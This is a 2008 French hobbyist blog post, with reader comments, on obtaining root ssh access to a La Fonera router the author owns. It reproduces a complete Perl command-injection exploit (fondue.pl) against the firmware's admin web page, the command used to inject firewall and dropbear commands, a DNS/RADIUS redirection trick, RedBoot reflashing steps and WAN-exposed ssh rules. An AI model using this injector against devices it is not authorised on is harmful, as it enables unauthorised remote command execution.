Jouer avec « La Fonera… » – 2ème partie : Hacker la Fonera

~ Ouverture du port ssh ~

Fon_2eme

Dans un précédent billet, je vous ai parlé de la Fonera et de son pingouin embarqué. Après cette petite présentation, il est temps de commencer à triturer doucement la bête. Voyons comment ouvrir un shell et accéder au système.

Commençons par un petit inventaire des ports ouverts… On ne sait jamais, un telnet ou un ssh pourrait écouter sur l’une ou l’autre des interfaces…

Sur l’interface wifi publique (FON_AP), pas de surprise… Seul le port 80 est ouvert, très certainement pour le portail captif. Ca, c’est quand même plutôt rassurant 😉

root@sinna~# route
Table de routage IP du noyau

Destination     Passerelle      Genmask         Indic Metric Ref    Use Iface
192.168.182.0   *               255.255.255.0   U     0      0        0  wlan0
link-local      *               255.255.0.0     U     1000   0        0  eth0
default         192.168.182.1   0.0.0.0         UG    0      0        0  wlan0

root@sinna:~# nmap 192.168.182.1
Starting Nmap 4.53 ( http://insecure.org ) at 2008-03-22 09:23 CET
Interesting ports on 192.168.182.1:
Not shown: 1713 filtered ports

PORT   STATE SERVICE
80/tcp open  http

MAC Address: 00:18:XX:XX:XX:XX (FON)
Nmap done: 1 IP address (1 host up) scanned in 8.700 seconds

 

Après authentification sur le portail captif, c’est le port 53 qui est ouvert, ce qui confirme bien notre hypothèse.

root@sinna:~# nmap 192.168.182.1
Starting Nmap 4.53 ( http://insecure.org ) at 2008-03-22 09:29 CET
Interesting ports on 192.168.182.1:
Not shown: 1713 filtered ports

PORT   STATE SERVICE
53/tcp open  domain

MAC Address: 00:18:XX:XX:XX:XX (FON)
Nmap done: 1 IP address (1 host up) scanned in 9.047 seconds

 

Côté interface wifi privée (MyPlace), guère mieux, pas l’ombre d’un poil de ssh ou de telnet…

root@sinna:~# nmap 192.168.10.1
Starting Nmap 4.53 ( http://insecure.org ) at 2008-03-22 09:43 CET
Interesting ports on registerlafonera.fon.com (192.168.10.1):
Not shown: 1711 closed ports

PORT     STATE SERVICE
53/tcp   open  domain80/tcp   open  http
8080/tcp open  http-proxy

MAC Address: 00:18:XX:XX::XX (FON)
Nmap done: 1 IP address (1 host up) scanned in 17.379 seconds

 

Un dernier nmap sur l’interface ethernet, histoire de boucler la boucle, mais sans y croire.

root@sinna:~# nmap 192.168.7.254
Starting Nmap 4.53 ( http://insecure.org ) at 2008-03-22 09:49 CET
Interesting ports on 192.168.7.254:
Not shown: 1713 closed ports

PORT   STATE SERVICE
80/tcp open  http

MAC Address: 00:14:XX:XX:XX:XX (Cisco-Linksys)
Nmap done: 1 IP address (1 host up) scanned in 1.948 seconds

 

Voilà… Ca, c’est fait !

Quelques lectures, trouvées ici ou là, expliquent comment se logger sur la Fonera en lui bricolant un port série. On va éviter l’accident pour l’instant et laisser de côté le fer à souder, intéressons nous plutôt à des méthodes plus logicielles.

Il existe au moins 3 méthodes qui vont nous permettre d’ouvrir un shell sur notre petite boîte.

Etiq 2200

La méthode par Injection (Modèle 2100)

Cette méthode va consister, en exploitant une faille du serveur HTTP de la version 7.1.1 du firmware, à injecter des commandes qui vont modifier les règles de firewall et lancer le mini serveur ssh dropbear. C’est un script Perl écrit par Michael KEBE et Stefan TOMANEK qui va nous permettre de réaliser cette injection. Le script est téléchargeable ici : http://stefans.datenbruch.de/lafonera/scripts/fondue.pl

Il utilise la library Perl www::Mechanize qui faudra installer si ce n’est pas fait. (aptitude install libwww-mechanize-perl sous Debian ou Ubuntu)

#!/usr/bin/perl
#
# fondue.pl
#
# Shell code injector for La Fonera
# (local variant, made for 0.7.1-1)
#
# by Michael Kebe
# and Stefan Tomanek
#
# http://stefans.datenbruch.de/lafonera/
 
use strict;
use warnings;
 
use WWW::Mechanize;
use MIME::Base64;
 
sub inject($$$) {
    my ($ip, $password, $code) = @_;
    # create a new browser
    my $browser = WWW::Mechanize->new(autocheck => 1);
 
    # admin password
    #$browser->credentials($ip,"admin",$password);
    $browser->credentials("admin" => $password);
 
    my $auth = MIME::Base64::encode("admin:$password");
    $browser->add_header (Authorization=>"Basic $auth");
 
    $browser->get("http://$ip/cgi-bin/webif/adv_pf.sh");
    $browser->success() or die "UNABLE TO LOGIN.";
 
    $browser->form_number('1');
    $browser->field("destip", prepareCode($code));
    $browser->click();
    $browser->success() or die "CODE INJECTION FAILED.";
}
 
sub prepareCode($) {
    my ($code) = @_;
    return '$('.$code.')';
}
 
sub readCode() {
    print STDERR "By your command...\n";
    my $code = "";
    while () {
        $code .= $_;
    }
    return $code;
}
 
sub verifyCode($) {
    my ($code) = @_;
    return not ($code =~ /<|>|&|;/);
}
 
sub processArgs() {
    # Retrieve user information from command line
    my $ip = shift(@ARGV) || die "Usage: fondue.pl IP PASSWORD";
    my $password = shift(@ARGV) || die "Usage: fondue.pl IP PASSWORD";
    # Read shell code from standard input
    my $code = readCode();
    verifyCode($code) || die "Forbidden characters in command: < > & | ;";
    for my $l (split /\n/, $code) {
	print STDERR "Injecting command »".$l."«...\n";
	inject($ip, $password, $l);
    }
    print STDERR "Code has been injected.\n";
}
 
processArgs();

La fonera se connecte régulièrement (et à chaque démarrage) à « download.fon.com » pour se mettre à jour. Il y a donc fort à parier que notre version du firmware est bien supérieure à 0.7.1.

FON2.3

La première chose à faire va être de remettre la Fonera en configuration d’usine, pour qu’elle retrouve son firmware initial.
Pour cela :

fon71r1.png

Bien ! Il ne nous reste plus qu’à injecter les commandes grâce au script fondue.pl et tenter une connexion par ssh.

$ echo -e '$(/usr/sbin/iptables -I INPUT 1 -p tcp --deport 22 -j ACCEPT)\n$(  \
        /etc/init.d/dropbear)'| perl ./fondue.pl 192.168.10.1 admin
$ ssh root@192.168.10.1
root@192.168.10.1's password:
BusyBox v1.1.3 (2006.11.21-19:49+0000)
Built-in shell (ash)Enter 'help' for a list of built-in commands.
 _______  _______  _______
|   ____||       ||   _   |
|   ____||   -   ||  | |  |
|   |    |_______||__| |__|
|___|
Fonera Firmware (Version 0.7.1 rev 1) -------------
*
* Based on OpenWrt - http://openwrt.org
* Powered by FON - http://www.fon.com
---------------------------------------------------

root@OpenWrt:~#

La méthode Kolofonium (modèle 2100)

Cette méthode tire profil d’une faille de l’authentification Radius. Au boot de la Fonera, l’exécutable chilli_radconfig est éxécuté, pour que la Fonera s’authentifie sur le serveur radius de FON : radius01.fon.com.

Comme il est possibile de paramétrer manuellement le réseau de l’interface ethernet (via l’interface WEB), il n’est pas difficile de lui faire utiliser un DNS qui va rediriger « radius01.fon.com » vers la machine de notre choix.

La technique est la suivante :

Tout se travail a été réalisé par Stefan (si si, c’est bien le même que pour la méthode par injection : http://stefans.datenbruch.de/lafonera) sur un serveur public. Il suffit donc d’utiliser le serveur DNS 88.198.165.155 pour que radius01.fon.com pointe vers kolofonium.datenbruch.de, un serveur radius configuré pour faire exécuter dropbear lors du boot de la Fonera.

Concrètement :

  1. Remettre la Fonera en configuration d’usine, comme dans le paragraphe précédent,

  2. Paramétrer manuellement la connexion réseau de la Fonera pour que l’accès à Internet soit opérationnel, mais en utilisant le serveur DNS : 88.198.165.155,

  3. Rebooter la Fonera,

  4. Enjoy !!!

Param. Manuel

Le redémarrage peut prendre quelques minutes…

$ ssh root@192.168.10.1
root@192.168.10.1's password:
BusyBox v1.1.3 (2006.11.21-19:49+0000)
Built-in shell (ash)Enter 'help' for a list of built-in commands.
 _______  _______  _______
|   ____||       ||   _   |
|   ____||   -   ||  | |  |
|   |    |_______||__| |__|
|___|
Fonera Firmware (Version 0.7.1 rev 1) -------------*
* Based on OpenWrt - http://openwrt.org
* Powered by FON - http://www.fon.com
---------------------------------------------------

root@OpenWrt:~#

La méthode par Redboot (Modèles 2200)

Cette méthode va consister à flasher la fonera, soit avec un ancien firmware permettant l’utilisation d’une des méthodes décrite ci-dessus, soit avec un firmware exécutant directement Dropbear au boot.

Le fichier fonssh.rar est issu du site www.francofon.fr
FrancoFON propose une extension non officielle, mais néanmoins très pratique du Firmware FON qui apporte des fonctionnalités supplémentaires et un paramétrage plus fin de la Fonera. Nous aurons l’occasion d’en reparler dans de prochains articles.

La fonera et le PC doivent être connectés ensemble (par des interfaces ethernet – ie filaires)

# ifconfig eth0:1 192.168.1.254
$ ./perl redboot.pl 192.168.1.1
192.168.1.1 is unreachable
ICMP Host Unreachable from 192.168.1.254 for ICMP Echo sent to 192.168.1.1
ICMP Host Unreachable from 192.168.1.254 for ICMP Echo sent to 192.168.1.1
ICMP Host Unreachable from 192.168.1.254 for ICMP Echo sent to 192.168.1.1
192.168.1.1 is unreachable
ICMP Host Unreachable from 192.168.1.254 for ICMP Echo sent to 192.168.1.1
ICMP Host Unreachable from 192.168.1.254 for ICMP Echo sent to 192.168.1.1
192.168.1.1 is unreachable
192.168.1.1 is unreachable
192.168.1.1 is unreachable
192.168.1.1 is alive
-> == Executing boot script in 1.950 seconds - enter ^C to abort
<- ^C
Trying 192.168.1.1...
Connected to 192.168.1.1.

Escape character is '^]'.
RedBoot>

Nous avons maintenant la main sur le redboot.

RedBoot> ip_address -l 192.168.1.1/24 -h 192.168.1.254
IP: 192.168.1.1/255.255.255.0, Gateway: 0.0.0.0
Default server: 192.168.1.254

RedBoot> fis init
About to initialize [format] FLASH image system - continue (y/n)? y
*** Initialize FLASH Image System
... Erase from 0xa87e0000-0xa87f0000: .
... Program from 0x80ff0000-0x81000000 at 0xa87e0000: .
RedBoot>
RedBoot> load -r -b %{FREEMEMLO} vmlinux.bin.l7
Using default protocol (TFTP)
Raw file loaded 0x80040c00-0x800c0bff, assumed entry at 0x80040c00

RedBoot> fis create -e 0x80041000 -r 0x80041000 vmlinux.bin.l7
/home/alfa/Atheros_Beta5.0/linuxsrc/src/redboot_fon1/ecos/packages/devs/
        eth/mips/ar531x/current/src/ae531xecos.c#390:ae531x_send AHB ERROR:
        AR531X_DEBUG_ERROR = 00000001
/home/alfa/Atheros_Beta5.0/linuxsrc/src/redboot_fon1/ecos/packages/devs/
        eth/mips/ar531x/current/src/ae531xecos.c#393:ae531x_send AHB ERROR
        status_4 = 00000555
... Erase from 0xa8030000-0xa80b0000: ........
... Program from 0x80040c00-0x800c0c00 at 0xa8030000: ........
... Erase from 0xa87e0000-0xa87f0000: .
... Program from 0x80ff0000-0x81000000 at 0xa87e0000: .

RedBoot>
RedBoot > load -r -b %{FREEMEMLO} root.fs
Using default protocol (TFTP)
Raw file loaded 0x80040c00-0x801bcbff, assumed entry at 0x80040c00

RedBoot> fis create -l 0x06F0000 rootfs
... Erase from 0xa80b0000-0xa87a0000: ...............................................................................................................
... Program from 0x80040c00-0x801bcc00 at 0xa80b0000: ........................
... Erase from 0xa87e0000-0xa87f0000: .
... Program from 0x80ff0000-0x81000000 at 0xa87e0000: .
RedBoot> fis load -l vmlinux.bin.l7
/home/alfa/Atheros_Beta5.0/linuxsrc/src/redboot_fon1/ecos/packages/devs/
        eth/mips/ar531x/current/src/ae531xecos.c#390:ae531x_send AHB ERROR:
        AR531X_DEBUG_ERROR = 00000001
/home/alfa/Atheros_Beta5.0/linuxsrc/src/redboot_fon1/ecos/packages/devs/
        eth/mips/ar531x/current/src/ae531xecos.c#393:ae531x_send AHB ERROR
        status_4 = 00000145
Image loaded from 0x80041000-0x801ba000

RedBoot> exec
$ ssh root@192.168.10.1
root@192.168.10.1's password:
BusyBox v1.1.3 (2006.11.21-19:49+0000)
Built-in shell (ash)Enter 'help' for a list of built-in commands.
 _______  _______  _______
|   ____||       ||   _   |
|   ____||   -   ||  | |  |
|   |    |_______||__| |__|
|___|
Fonera Firmware () -------------
*
* Based on OpenWrt - http://openwrt.org
* Powered by FON - http://www.fon.com
---------------------------------------------------

root@OpenWrt:~#

Péréniser l’accès par ssh

root@OpenWrt:~# mv /etc/init.d/dropbear /etc/init.d/S50Dropbear
root@OpenWrt:~# vi /etc/firewall.user

Décommenter les 2 lignes concernant le port 22 dans le fichier /etc/firewall.user :

<span style="color: #800000;">### Open port to WAN
## -- This allows port 22 to be answered by (dropbear on) the router
iptables -t nat -A prerouting_rule -i $WAN -p tcp --dport 22 -j ACCEPT
iptables        -A input_rule      -i $WAN -p tcp --dport 22 -j ACCEPT</span>

La configuration réseau peut ensuite être rétablie pour que les mises à jour du firmware puissent se faire.

Laissez votre message après le bip...Biiiiip

Commentaires

[…]  2ème partie : Hacker la Fonera […]

J’ai utilisé la deuxième méthode (celle du DNS) sur une Fonera 2100, avec succés. Par contre, après le second reboot, je n’arrive plus à me connecter.

Je ne comprends pas…

J’ai rajouté un paragraphe supplémentaire : « Péréniser l’accès par ssh », qui explique 2 petites manips pour que dropbear démarre à chaque boot et pour ouvrir le port ssh au niveau des règles de firewall.

Merci ! C’est bien mieux !

Peux-t’on rémetter un DNS plus « conventionnel » après la manip ou faut-il laisser le DNS truqué ?

Tu peux remettre un DNS plus « conventionnel », comme tu dis, C’est même recommandé (après s’être assuré que dropbear démarre bien et est accessible après chaque reboot) pour que les mises à jour FON se fassent automatiquement.

Si tu veux installer le Firmware Francofon, il faut une version récente du Firmware FON pour que l’installation fonctionne sans problème.

[…] avons vu, dans la 2ème partie de “Jouer avec ‘La Fonera’”, comment activer ssh sur une Fonera, afin d’accéder au système de la […]

bonjour;
Ceci est un assez ‘ancien’ article, mais savez vous si le serveur 88.198.165.155 est encore en fonction?
J’ai une fonera 2100, firmware actuel 1.1.2 r1 sur laquelle que voudrais l’acces ssh sans avoir à ouvrir la bête. Et impossible de télécharger un ‘vieux’ firmware 0.7.1r1 Tous les liens sont morts.
Merci de votre aide.
Cordialement.
R. Suinot

Laisser un commentaire

(requis)

(requis)